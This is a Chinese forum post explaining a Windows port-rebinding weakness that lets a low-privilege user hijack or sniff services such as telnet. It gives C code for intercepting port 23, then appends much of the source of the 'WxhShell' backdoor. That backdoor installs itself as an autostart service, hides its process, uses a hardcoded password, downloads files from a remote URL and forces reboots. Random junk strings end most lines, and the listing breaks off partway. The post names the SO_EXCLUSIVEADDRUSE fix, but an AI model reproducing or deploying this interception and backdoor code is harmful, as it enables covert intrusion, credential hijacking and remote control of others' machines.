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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /1xBZf rN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T^#d\2  
\ #la8,+9  
  saddr.sin_family = AF_INET; nJwP|P_  
MG^YT%f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  ;B{oGy.  
y#/P||PM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E<@N4%K_Q  
l.BiE<&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ieh<|O,-C  
C4 -y%W"P  
  这意味着什么?意味着可以进行如下的攻击: `yC[Fn"E^  
Tsdgg?#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dnd  
MieO1l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C;_00EQ=  
UMK9[Iy$<M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V \/Qik{h  
4Zn [F^p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R%`fd *g  
/RWD\u<l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4rpry@1  
SErh"~[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2dDhO  
 *qFl&*h}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #S[Y}-]T  
4hkyq>c}  
  #include 02-% B~oP  
  #include j_z@VT}y  
  #include ?[)V  
  #include    7/)0{B4U'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =JxEM7r  
  int main() J.]`l\  
  { (#]9{ C;  
  WORD wVersionRequested; ``>z8t[ks  
  DWORD ret;   Xi w  
  WSADATA wsaData; Yaz/L)Y;R  
  BOOL val; U6YHq2<  
  SOCKADDR_IN saddr; ;s+3 #Py  
  SOCKADDR_IN scaddr; =>@ X+4Kb  
  int err; ~Q}!4LH  
  SOCKET s; Zu94dFP  
  SOCKET sc; i9T<(sdK+  
  int caddsize;  6NSSuK3  
  HANDLE mt; .eyJ<b9  
  DWORD tid;   Emw]`  
  wVersionRequested = MAKEWORD( 2, 2 ); d<w]>T5VW  
  err = WSAStartup( wVersionRequested, &wsaData ); ]2A2<Q_,  
  if ( err != 0 ) { ?6h~P:n.  
  printf("error!WSAStartup failed!\n"); 3Z7gPU!H=  
  return -1; >4os%T  
  } &}\{qFD;  
  saddr.sin_family = AF_INET; -C* 6>$A  
   N:%Nq8I}:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FRXaPod  
? ?("0U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  HYv-5:B  
  saddr.sin_port = htons(23); 1-Dw-./N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3\cx(  
  { {Q @?CT  
  printf("error!socket failed!\n"); 8/;@4^Ux  
  return -1; hBhbcWD,ka  
  } TV`sqKW  
  val = TRUE; ^oNcZK>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fl}!3k>c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;j+*}|!  
  { xc7Rrh]}  
  printf("error!setsockopt failed!\n"); '}-QZ$|*  
  return -1; 9Q\RCl_1  
  } F)@zo/u5L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *e:2iM)8~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VKg9^%#b`[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kYR ^  
b;NVvc(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fUPYCw6F  
  { D}U gC\u  
  ret=GetLastError(); 1K'cT\aFm  
  printf("error!bind failed!\n"); "~Zdv}^xS  
  return -1; ;vn0b"Fi3  
  } $x#qv1  
  listen(s,2); P/Y)Yx_(  
  while(1) Mhc5<~?  
  { ]cW Q9  
  caddsize = sizeof(scaddr); G&4D0f  
  //接受连接请求 5xU}}[|~-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I.`D BI#-f  
  if(sc!=INVALID_SOCKET) d@zxgn7o  
  { Yu9VtC1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q Oa*JA`  
  if(mt==NULL) a>+m_]*JZ  
  { 'pF$6n;  
  printf("Thread Creat Failed!\n"); w4zp%`?D'  
  break; L=P8;Gj)  
  } 'R99m?"  
  } %/ :&L+q  
  CloseHandle(mt); Ds{bYK_y  
  } ?v'CuWS  
  closesocket(s); 735l&(3A\  
  WSACleanup(); LvU/,.$  
  return 0; 3Q2NiYg3  
  }   @moaa}1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ch0cFF^]  
  { `S4G+j>u6  
  SOCKET ss = (SOCKET)lpParam; 4ywtE}mp  
  SOCKET sc; dP#7ev]'  
  unsigned char buf[4096]; >t.PU.OM  
  SOCKADDR_IN saddr; ad=7FhnIa3  
  long num; =`Ky N/  
  DWORD val; ,'sDauFn  
  DWORD ret; _ozg=n2(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $_e{Zv[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]/AU_&  
  saddr.sin_family = AF_INET; kV3LFPf>0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jaMpi^C  
  saddr.sin_port = htons(23); Ok}e|b[D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UQWv)  
  { 579 t^"ja~  
  printf("error!socket failed!\n"); O"_QDl<ya  
  return -1; Lmw)Ts>  
  } A{\DzUV9,  
  val = 100; ::3[H$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4#I=n~8a  
  { $XKUw"%  
  ret = GetLastError(); `V.tqZF  
  return -1; ?DnQU"_$  
  } &v9"lR=_k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C;9P6^Oz  
  { "j.Q*Hazg  
  ret = GetLastError(); `wSoa#U"@  
  return -1; ^E%NYq_2l<  
  } r]kks_!Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .'2"83f  
  { S'>KGdF  
  printf("error!socket connect failed!\n"); jP<6Q|5F  
  closesocket(sc); TPY&O{ q  
  closesocket(ss); u{dkUG1ia  
  return -1; A.YK=_J  
  } W&m3"~BJ  
  while(1) Dhk$e  
  { {3!A \OR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &?']EcU5h9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w[G-=>;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZT,au SX  
  num = recv(ss,buf,4096,0); PAVlZ}kj  
  if(num>0) +LF=oM<  
  send(sc,buf,num,0); "g(q)u >  
  else if(num==0) PI8ag  
  break; b0tbS[j  
  num = recv(sc,buf,4096,0); YYvX@f  
  if(num>0) CM `Q((  
  send(ss,buf,num,0); 0|4R8Dh*-  
  else if(num==0) j9cB<atL  
  break; g1B P  
  } U<'$ \ P  
  closesocket(ss); QqXaXx;  
  closesocket(sc); PC%_^BDW  
  return 0 ; B E#pHg  
  } ol_&epG;ST  
3;!a'[W&p  
7'`nTF-@v  
========================================================== 7mb5z/N  
4&6cDig7*2  
下边附上一个代码,,WXhSHELL P)ne^_   
GW]t~EL  
========================================================== 6S(`Bw8h  
5Iv"  
#include "stdafx.h" 9(bbV5}  
GW9,%}l^;  
#include <stdio.h> &((04<@e  
#include <string.h> cc"<H}g>`  
#include <windows.h> nYj7r* e[  
#include <winsock2.h> q@4Cw&AI+  
#include <winsvc.h> FE06,i\{  
#include <urlmon.h> "`w*-O  
F[fs^Q6S$  
#pragma comment (lib, "Ws2_32.lib") 6\)u\m`7-l  
#pragma comment (lib, "urlmon.lib") LD,T$"  
E,4*a5Fi  
#define MAX_USER   100 // 最大客户端连接数 ^q<EnsY  
#define BUF_SOCK   200 // sock buffer }5X.*wz  
#define KEY_BUFF   255 // 输入 buffer QKoJxjR=^  
T$V8 n_;  
#define REBOOT     0   // 重启 mrVN&.  
#define SHUTDOWN   1   // 关机 9 Lqz:4}  
,yi@?lc  
#define DEF_PORT   5000 // 监听端口 Pfm B{  
%Wc$S]>i  
#define REG_LEN     16   // 注册表键长度 #4Cf-$J  
#define SVC_LEN     80   // NT服务名长度 lB|.TCbW  
E/E|*6R  
// 从dll定义API &(20*Vn,O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BJsN~` =r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t4-0mNBZt$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fY|vq amA;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~\c  j  
X,K`]hb*0_  
// wxhshell配置信息 pf3-  
struct WSCFG { 86o'3G9@  
  int ws_port;         // 监听端口 Q%t _Epe  
  char ws_passstr[REG_LEN]; // 口令 wJ7Fnj>u%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ASNo6dP 7  
  char ws_regname[REG_LEN]; // 注册表键名 73!])!SVI  
  char ws_svcname[REG_LEN]; // 服务名 <*p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H#bu3*'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FWS!b!#,N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BkDq9>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RLDu5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t1aKq)?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ay=f1<a  
HA0yX?f]  
}; h:vI:V[/X  
hllb\Y)XL  
// default Wxhshell configuration D,s[{RW+q  
struct WSCFG wscfg={DEF_PORT, Btc[  
    "xuhuanlingzhe", "VAbUs  
    1, _ ^^5  
    "Wxhshell", 6V1 Z(K  
    "Wxhshell", ;i3C  
            "WxhShell Service",  1oG'm  
    "Wrsky Windows CmdShell Service", jgw+c3^R_  
    "Please Input Your Password: ", k6_OP]  
  1, ITjg]taD  
  "http://www.wrsky.com/wxhshell.exe", "%=K_WJ?  
  "Wxhshell.exe" a#3,qp!  
    }; p vu% p8  
yGb^kR}d  
// 消息定义模块 6x8lnXtA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qp]s VY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Lm(bW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uz7V2r%]  
char *msg_ws_ext="\n\rExit."; * @&V=l  
char *msg_ws_end="\n\rQuit."; "6iq_!#L  
char *msg_ws_boot="\n\rReboot..."; A@w9_qo  
char *msg_ws_poff="\n\rShutdown..."; A2B]E,JMp  
char *msg_ws_down="\n\rSave to "; +#g4Crb  
PMiG:bM  
char *msg_ws_err="\n\rErr!"; sAP  YQ  
char *msg_ws_ok="\n\rOK!"; Ak2Vf0Eb  
6Kd,(DI  
char ExeFile[MAX_PATH]; "o<&3c4  
int nUser = 0; QST-!`]v  
HANDLE handles[MAX_USER]; SwhArvS  
int OsIsNt; e\]CZ5hs3  
0a)LZp|  
SERVICE_STATUS       serviceStatus; Wt! NLlN8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E%)3{# .z  
vLM-v  
// 函数声明 wpm $?X  
int Install(void); <U""CAE  
int Uninstall(void); pKk{Q0Rt  
int DownloadFile(char *sURL, SOCKET wsh); Vj_z"t7q  
int Boot(int flag); T'VKZ5W  
void HideProc(void); )`m/vYKWL  
int GetOsVer(void); qTnk>g_oS&  
int Wxhshell(SOCKET wsl); `Zz;[<*<  
void TalkWithClient(void *cs); :D=y<n;S+  
int CmdShell(SOCKET sock); _ud !:q  
int StartFromService(void); Y!CGuLHL`[  
int StartWxhshell(LPSTR lpCmdLine); })ic@ Mmd$  
.A <n2-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ':T6m=yv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TfFH!1^+  
a]R1Fi0n  
// 数据结构和表定义 lQer|?#  
SERVICE_TABLE_ENTRY DispatchTable[] = XO4rrAYvW  
{ u[coWaPsZ  
{wscfg.ws_svcname, NTServiceMain}, AW`+lE'?  
{NULL, NULL} 1;[ZkRbzL  
}; 4m/L5W:K  
X1lL@`r.5  
// 自我安装  xXZ {  
int Install(void)  /w(t=Y  
{ 7vK}aOs0  
  char svExeFile[MAX_PATH]; x^6sjfAW  
  HKEY key; \jByJCN  
  strcpy(svExeFile,ExeFile); dn= g!=  
QgW4jIbx  
// 如果是win9x系统,修改注册表设为自启动 iYzm<3n?  
if(!OsIsNt) { ^2!l/(?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N >+L?C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \-)augq([  
  RegCloseKey(key); [+4--#&{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0D48L5kH#'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -8,lXrH  
  RegCloseKey(key); 8E\6RjM  
  return 0; 2sXX0kq~V  
    } 4 O~zkg  
  } wLH[rwPr  
} 8w4cqr4m  
else { ,W~a%8*  
ADN  
// 如果是NT以上系统,安装为系统服务 G+f@m,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VtC1TZ3-7  
if (schSCManager!=0) Y,C3E>}Dq  
{ !l1ycQM  
  SC_HANDLE schService = CreateService 9\W }p\c  
  ( %wS5m#n  
  schSCManager, EX^j^#N  
  wscfg.ws_svcname, @K.[;-;g  
  wscfg.ws_svcdisp, M\ {W&o1!  
  SERVICE_ALL_ACCESS, c{s%kVOzg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H-1y2AQ  
  SERVICE_AUTO_START, A{b?ZT~2]  
  SERVICE_ERROR_NORMAL, Dz>v;%$S-  
  svExeFile, [1gWc`#  
  NULL, xk8P4`;d$  
  NULL, &+V|Ldh  
  NULL, vFGFFA/K}N  
  NULL, kkE1CHY  
  NULL 7tr;adjs  
  ); Z'L}x6  
  if (schService!=0) Y;WHjW(K  
  { O(oGRK<xM  
  CloseServiceHandle(schService); ~Fd<d[b?  
  CloseServiceHandle(schSCManager); 4zM$I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?Wm.'S'to  
  strcat(svExeFile,wscfg.ws_svcname); ?-IjaDC}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GT} =(sD L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X(ZouyD<  
  RegCloseKey(key); OTe0[p6v  
  return 0; []rg'9B2b  
    } <UcbBcW,  
  } 4RV5:&ALLS  
  CloseServiceHandle(schSCManager); o Z#4<7K  
} !mLY W  
} 5>'1[e45  
}2eP~3  
return 1; J 4EG  
} +iYy^oXxw  
%}asw/WiUa  
// 自我卸载 {qHf%y&[  
int Uninstall(void) U`fxe`nVa  
{ ]Kb3'je  
  HKEY key;  XVKR}I  
2nGQD{  
if(!OsIsNt) { > %U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n/fMq,<8  
  RegDeleteValue(key,wscfg.ws_regname); 1]uHaI(  
  RegCloseKey(key); _n;V iQMu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3G7Qo  
  RegDeleteValue(key,wscfg.ws_regname); jI(}CT`g  
  RegCloseKey(key); y84= Q  
  return 0; JtrLTo  
  } ,U#$Qb 12  
} w1+xlM,,9  
} lJloa'%v9  
else { iCYo?>  
.?YLD+\A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [9E<z2H  
if (schSCManager!=0) Wl:vO^  
{ ?Rj)x%fN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ie!ik  
  if (schService!=0) _ ecKX</Q  
  { aa1^cw 5}  
  if(DeleteService(schService)!=0) { 420cJ{;A  
  CloseServiceHandle(schService); dfBTx6/F  
  CloseServiceHandle(schSCManager); "3"9sIZ(  
  return 0; U0/X!@F-  
  } 9_mys}+  
  CloseServiceHandle(schService); "&ElKy 7j  
  } @,RrAL }|  
  CloseServiceHandle(schSCManager); )(|+z'  
} k%?fy  
} b{KpfbxcI  
=*aun&  
return 1; #lM :BO  
} >d&_e[j  
0N~AQu  
// 从指定url下载文件 gZ*8F|sg  
int DownloadFile(char *sURL, SOCKET wsh) Jm|eZDp  
{ p}j$p'D.RI  
  HRESULT hr; n)(E 0h  
char seps[]= "/"; 4{d!}R  
char *token; p<\yp<g  
char *file; `4& GumG  
char myURL[MAX_PATH]; (0Xgv3wd  
char myFILE[MAX_PATH]; V3'QA1$  
h-Q3q:  
strcpy(myURL,sURL); , wT$L 3  
  token=strtok(myURL,seps); 4%TY` II  
  while(token!=NULL) fCL5Et  
  { i6p0(OS&D  
    file=token; -o\r]24  
  token=strtok(NULL,seps);  2L~[dn.s  
  } j"aimjqd3  
ei>8{v&g  
GetCurrentDirectory(MAX_PATH,myFILE); h5-<2B|  
strcat(myFILE, "\\"); tc%?{W\  
strcat(myFILE, file); }>\+eG  
  send(wsh,myFILE,strlen(myFILE),0); c[4  H  
send(wsh,"...",3,0); !Qu)JR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :_%  
  if(hr==S_OK) ^h z4IZ^  
return 0; gOpGwpYZ,  
else e 'I13)  
return 1; x(nWyVB  
>W= 0N (  
} 6e6~82t8/  
<6=kwV6  
// 系统电源模块 oGi;S="I  
int Boot(int flag) 8m0GxgS  
{ F)mlCGv:R  
  HANDLE hToken; X0Q};,  
  TOKEN_PRIVILEGES tkp; 7tgn"wK  
cNzn2-qv  
  if(OsIsNt) { R&13P&:g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zb)j2Xgl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); []D@"Bz  
    tkp.PrivilegeCount = 1; $okGqu8z.O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "=0#pH1o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y4Hi<JWo  
if(flag==REBOOT) { n%lY7.z8d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sEj?,1jk  
  return 0; b$kCyOg  
} ?d)I!x,;;  
else { J+3PUfg>@R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =6Dz<Lq  
  return 0; Z[Gs/D  
} E"D+CD0  
  } Sq,ZzMw  
  else { 4@D 8{?$~Q  
if(flag==REBOOT) { N-fGc?E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \e%H5W x  
  return 0; \vVGfG?6  
} zmH8#  
else { hm=E~wv'L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;6g&_6  
  return 0; <QGf9{m  
} O mkl|l9  
} wV- kB4^4  
&BnK[Q8X  
return 1; F.)b`:g  
} 6$qn'K$  
SqL8MKN)  
// win9x进程隐藏模块 9K*yds  
void HideProc(void) okx~F9  
{ a $pxt!6  
<4,n6$E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >r] bfN,  
  if ( hKernel != NULL ) JTw\5j  
  { -EV_=a8[y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \hpD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  GU99!.$  
    FreeLibrary(hKernel); 6@`Y6>}$_  
  } UxZT&x3=)}  
)v&r^DR_  
return; *Z*4L|zT  
} d5gYJ/Qv  
+Z0@z^6\  
// 获取操作系统版本 DN)Ehd.  
int GetOsVer(void) SV;S`\i  
{ LJK<Xen  
  OSVERSIONINFO winfo; ngM>Tzirt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W)I)QinOH  
  GetVersionEx(&winfo); &]gw[ `  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v=15pW  
  return 1; (;2J}XQvO~  
  else {64od0:T  
  return 0; /an$4?":~  
} \M>}-j`v  
3-4' x2   
// 客户端句柄模块 o:u *E  
int Wxhshell(SOCKET wsl) iJ HOLz"!  
{ H~1&hF"d  
  SOCKET wsh; b_xn80O  
  struct sockaddr_in client; p!<Y 'G  
  DWORD myID; Zf~Em'g"3  
Gp.+&\vi  
  while(nUser<MAX_USER) ^ sxcBG  
{ j_ dCy  
  int nSize=sizeof(client); HE0UcP1U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rckqr7q  
  if(wsh==INVALID_SOCKET) return 1; .b*%c?e  
a=*&OW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s u]x  
if(handles[nUser]==0) J1kG'cH05  
  closesocket(wsh); )8Defuxk  
else @Y":DHF5q  
  nUser++; %k(V 2]WF  
  } AL%H$I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :K{!@=o  
=ja(;uC  
  return 0; >gqM|-uY  
} MM8r*T4g/  
.JIn(  
// 关闭 socket X PnN"Y"y  
void CloseIt(SOCKET wsh) .^BL7  
{ W$=MuF7R  
closesocket(wsh); JAM4 R_  
nUser--; C FY3D|  
ExitThread(0); m'&^\7;D  
} < &[=,R0 @  
FZTBvdUYp  
// 客户端请求句柄 {R b|";  
void TalkWithClient(void *cs) 2aiZ  
{ $CXKeWS=Q.  
uY+N163i  
  SOCKET wsh=(SOCKET)cs; U  JO  
  char pwd[SVC_LEN]; P+r -t8  
  char cmd[KEY_BUFF]; p3Uus''V4  
char chr[1]; 71i".1l{K  
int i,j; )*_4=-8H  
CCp&P5[67  
  while (nUser < MAX_USER) { m{itMZ@  
0#f;/ c0i  
if(wscfg.ws_passstr) { HhkubG)\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b= <xzvy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,&$w*D%  
  //ZeroMemory(pwd,KEY_BUFF); nzI}w7>VU  
      i=0; cl s-x@ Kd  
  while(i<SVC_LEN) { _U<sz{6  
^M60#gJ  
  // 设置超时 u\gPx4]4c  
  fd_set FdRead; _bp9UJ  
  struct timeval TimeOut; NWCJ|  
  FD_ZERO(&FdRead); /L,VZ?CmtK  
  FD_SET(wsh,&FdRead); Ba-Ftkb  
  TimeOut.tv_sec=8; ts rcX  
  TimeOut.tv_usec=0; <a_Q1 l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bd8,~8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oW]~\vp^0  
_\M:h+^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OEc$ro=m*  
  pwd=chr[0]; 48 DC  
  if(chr[0]==0xd || chr[0]==0xa) { V6%J9+DK  
  pwd=0; ooa>~!91P  
  break; 'LY.7cW  
  } ^b-o  
  i++; bbevy!m  
    } }$-;P=k  
T@c{5a  
  // 如果是非法用户,关闭 socket H%c:f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `8$gaA*  
} Z~O1$,Z  
afEhC0j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e-vwve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tjw4.L<r  
9L+dN%C  
while(1) { &_cMbFLBP  
\ UCOe  
  ZeroMemory(cmd,KEY_BUFF); (dl7+  
Y> }[c   
      // 自动支持客户端 telnet标准   (h;4irfX  
  j=0; /$v0Rq9  
  while(j<KEY_BUFF) { `4V_I%lJ&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ K>.|\  
  cmd[j]=chr[0]; y#-mj,e  
  if(chr[0]==0xa || chr[0]==0xd) { % j4  
  cmd[j]=0; &HdzbKO=  
  break; Qp9)Rc5  
  } G-?y;V 1  
  j++; E;7vGGf]  
    } cTW3\S=  
t)Q6A@$:  
  // 下载文件 8RS=Xemds  
  if(strstr(cmd,"http://")) { XI#1)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =m{]Xep  
  if(DownloadFile(cmd,wsh)) NijvFT$V1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Dsz9  f  
  else Nrp0z:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RLkP)+t  
  } no_(J>p^&  
  else { #Fx$x#Gc@y  
u;$g1 3  
    switch(cmd[0]) { $6~ J#;  
  dD _(MbTt  
  // 帮助 </,RS5ukn  
  case '?': { + k1|+zzS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ji<^s@8Zc  
    break; LIM cZh;  
  } o5(`7XV6D  
  // 安装 )%D2JC  
  case 'i': { @SH%l]  
    if(Install()) Un{hI`3]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEm[C(gZ  
    else ^_dYE]t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  [o]^\a y  
    break; *m_B#~4  
    } 4c"x&x|  
  // 卸载 h`X>b/V  
  case 'r': { Z]H`s{3  
    if(Uninstall()) rp*f)rJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@5Ud)_  
    else ,dhSc<:LT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  iC]=S}  
    break; |TCHPKN  
    } I7!+~uX  
  // 显示 wxhshell 所在路径 {Vy2uow0  
  case 'p': { cB~D3a0Th  
    char svExeFile[MAX_PATH]; d51.Tbt#%7  
    strcpy(svExeFile,"\n\r"); :xdl I`S  
      strcat(svExeFile,ExeFile); PGTi-o}  
        send(wsh,svExeFile,strlen(svExeFile),0); 3f;W+^NY  
    break; O>P792)  
    } y#%*aV}|B  
  // 重启 ^HpUbZpat)  
  case 'b': { =7&2-'(@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oj6PmUK4  
    if(Boot(REBOOT)) U&DD+4+28:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D[d+lq#p  
    else { ~j}7Fre  
    closesocket(wsh); !JZ)6mtlr  
    ExitThread(0); Qrr8i:Y^  
    } >hg?!jMjrr  
    break; $LxfdSa  
    } ,Mt/*^|  
  // 关机 >lZ9Y{Y4v  
  case 'd': { ][Ne;F6  
